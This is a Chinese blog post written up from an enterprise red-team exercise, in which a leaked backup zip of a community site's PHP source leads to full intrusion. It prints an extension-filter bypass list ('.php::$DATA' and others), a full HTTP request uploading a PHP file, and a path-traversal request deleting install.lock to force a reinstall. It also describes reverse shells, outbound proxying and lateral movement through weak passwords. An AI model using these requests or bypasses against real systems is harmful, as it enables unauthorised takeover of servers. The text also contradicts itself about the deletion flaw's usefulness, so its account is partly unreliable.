企业攻防:一个压缩包导致渗透到内网数百台机器

原文链接: https://mp.weixin.qq.com/s?__biz=MzU4NDY3MTk2NQ==&mid=2247491785&idx=1&sn=78323cce1e387d1436f0f72613cdbf5c

企业攻防:一个压缩包导致渗透到内网数百台机器

原创 小强斗蟋蟀 网安守护 2025-07-17 13:14

1、前言

在一次渗透任务中,我发现一个有趣的情况:在某个IP地址下有四个域名,而在其中一个域名下发现了一个名为”beifen.zip”的文件。更有趣的是,这个域名实际上是一个社区类型的网站。企业攻防:一个压缩包导致渗透到内网数百台机器

下载并打开文件后,我发现里面装载着宝贵的信息:程序的源代码和SQL文件都在其中。这个发现令我兴奋不已,仿佛打开了一个宝盒,里面装满了解谜的线索和技术的奥秘。

企业攻防:一个压缩包导致渗透到内网数百台机器

我迫不及待地使用程序中找到的数据库IP、账号和密码等信息尝试进行连接,希望能够深入挖掘更多有关这个神秘文件的信息。

企业攻防:一个压缩包导致渗透到内网数百台机器

企业攻防:一个压缩包导致渗透到内网数百台机器

2、审计源码,发现漏洞

既然连接不上数据库,那我只能靠审计源码来获取更多信息了。我会先使用工具对源码进行扫描,看看能否找到一些潜在的漏洞或安全隐患。

企业攻防:一个压缩包导致渗透到内网数百台机器

经过查看,我发现在

/application/index/controller/system/SystemUpgradeclient.php

文件中的

setcopydel

方法存在一个安全漏洞,允许任意提交参数。

企业攻防:一个压缩包导致渗透到内网数百台机器

通过POST方式接收了两个参数,一个是

id

,另一个是

ids

if (is_array($post['ids'])) {  
    foreach ($post['ids'] as $file) {  
        $fileservice->del_dir(ROOT_PATH . 'public' . DS . 'copyfile' . $file);  
    }  
}  


if ($post['id']) {  
    $copyFile = ROOT_PATH . 'public' . DS . 'copyfile' . $post['id'];  
    // echo $copyFile;exit;  
    $fileservice->del_file($copyFile);  
}
ids

参数需要是一个数组,然后将路径拼接后传入

$fileservice->del_dir()

方法中进行目录删除操作。而

id

参数则没有进行类型判断,直接拼接路径后传入

$fileservice->del_file()

方法中进行文件删除操作。现在让我们来看一下这两个方法都做了些什么事情。

$fileservice->del_dir()

方法用于删除目录。

企业攻防:一个压缩包导致渗透到内网数百台机器

经过分析源码,发现存在一个严重的安全漏洞:任意文件删除漏洞。在

setcopydel

方法中,

ids

参数接收一个数组,然后将数组中的文件名拼接到指定路径后传入

$fileservice->del_dir()

方法中,实现删除目录的功能。而

id

参数则直接拼接到路径后传入

$fileservice->del_file()

方法中,实现删除文件的功能。由于没有对

id

进行类型验证,攻击者可以利用这个漏洞来删除服务器上的任意文件,造成严重的安全风险。

static function del_dir($dirName)  
{  
    if (!file_exists($dirName)) # 判断文件或目录是否存在,不存在就返回false  
    {  
        return false;  
    }  
    $dir = opendir($dirName);   # 打开一个目录,读取它的内容  
    while ($fileName = readdir($dir))  
    {  
        $file = $dirName . '/' . $fileName;  
        if ($fileName != '.' && $fileName != '..')  
        {  
            if (is_dir($file))  # 判断是不是目录,是目录就在调用一次本身方法  
            {  
                self::del_dir($file);  
            }  
            else  
            {  
                unlink($file);  # 删除文件  
            }  
        }  
    }  
    closedir($dir);  
    return rmdir($dirName);     # 删除目录  
}  


$fileservice->del_file()

方法是删除文件

企业攻防:一个压缩包导致渗透到内网数百台机器

经过仔细分析后发现,这个漏洞在实际中可能无太大用处,因为我们并不需要利用它来进行攻击或渗透测试。因此,我们应当放弃对此漏洞的进一步利用,而是继续寻找其他可能存在的安全隐患。

在持续的搜索中,我发现了另一个潜在的安全问题:在

\application\admin\controller\setting\SystemConfig.php

文件中的

view_upload

方法中存在文件上传功能。

企业攻防:一个压缩包导致渗透到内网数百台机器

这个方法中,  

type

为3的时候是上传文件的,然后传入  

Upload::file

方法。

企业攻防:一个压缩包导致渗透到内网数百台机器

虽然

view_upload

方法中对上传文件的后缀名进行了限制,禁止上传

.php

文件,但在Windows系统中,攻击者可以通过一些技巧绕过这种简单的过滤措施。攻击者可能会利用双后缀名、空格或其他字符来绕过过滤器,或者通过修改文件内容绕过文件类型检测,从而上传恶意文件。因此,即使有后缀名的限制,仍然存在上传恶意文件的风险。

.php.  
.php(空格)  
.php:1.jpg  
.php::$DATA  
.php::$DATA…….  
。。。。。。


经过尝试,发现使用

1.php::$DATA

这样的方式可以绕过后缀名检测。 构造的post数据包为:

POST /index.php/admin/setting.system_config/view_upload.html HTTP/1.1  
Host: xxx.com  
Content-Length: 403  
Cache-Control: max-age=0  
Origin: http://xxx.com  
Upgrade-Insecure-Requests: 1  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP7jKNcoemK2sybZb  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3  
Referer: http://xxx.com/index.php/admin/setting.system_config/index_alone?tab_id=1  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: PHPSESSID=es9ef1h1c9i0t21brcrlqigfmt  
Connection: close  

------WebKitFormBoundaryP7jKNcoemK2sybZb  
Content-Disposition: form-data; name="file"  

site_logo  
------WebKitFormBoundaryP7jKNcoemK2sybZb  
Content-Disposition: form-data; name="type"  

3  
------WebKitFormBoundaryP7jKNcoemK2sybZb  
Content-Disposition: form-data; name="site_logo"; filename="1.php::$DATA"  
Content-Type: image/png  

<?php  
phpinfo();  
?>  
------WebKitFormBoundaryP7jKNcoemK2sybZb--  


成功上传文件是一大进展,但若上传需要后台登录,则需要先获取登录凭据。既然爆破未能成功获取账号密码,那我们需要寻找其他方式。你提到程序有一个

install

文件,通常安装后会创建一个文件来标识程序已被安装。因此,查看这个文件的存在与否是个不错的思路。

企业攻防:一个压缩包导致渗透到内网数百台机器

进行重装,我们就可以利用之前发现的任意文件删除漏洞来删除

install.lock

文件,从而触发系统重装流程。但在执行这个操作之前,我们需要小心谨慎地构造POST请求,确保不会对程序造成意外破坏。

让我们继续谨慎地进行操作,确保我们的行为不会对系统造成不可逆的影响。

3、利用漏洞拿到shell

删除  

install.lock

文件的数据包:

POST /index.php/admin/system.System_Upgradeclient/setcopydel HTTP/1.1  
Host: www.xxx.wang  
Content-Length: 26  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://www.xxx.wang  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://www.xxx.wang/index.php/admin/system.System_Upgradeclient/setcopydel  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: PHPSESSID=8itmp7itfo1va6uu7bu0ouhgos  
Connection: close  

id=/../install/install.lock&ids=1  


企业攻防:一个压缩包导致渗透到内网数百台机器

返回成功的消息表明一切顺利。现在是重装系统的时候了。为了确保不对系统数据造成破坏,我们将系统安装所需连接的MySQL数据库放在我们自己的服务器上。

企业攻防:一个压缩包导致渗透到内网数百台机器

成功登录后台并上传了shell后,我使用之前的数据包进行了操作。得到了shell后,我通过反弹shell的方式连接了目标系统,并查看了系统上安装的所有程序,发现了其中存在五个程序。

企业攻防:一个压缩包导致渗透到内网数百台机器

既然我们已经获得了对系统的访问权限,那么我们可以开始收集更多的信息。我会收集关于系统配置、安装的程序、网络环境等方面的信息,以便更好地了解目标系统。

此外,我将设置流量代理,将流量导出到外部服务器,并对目标系统进行扫描。扫描结果可能会帮助我们发现系统中的潜在漏洞或安全风险,为进一步的攻击提供更多的线索和机会。结果是如下:

企业攻防:一个压缩包导致渗透到内网数百台机器

经过对弱口令的扫描,我们成功地横向移动并入侵了大量机器,最终获得了5000分。现在,我们已经深入了敌方内部,可以进一步进行信息收集和控制操作。

4、总结

渗透任务发现网站备份文件,审计源码发现任意文件删除漏洞,成功触发系统重装,最终深入敌方内部,获得控制权限。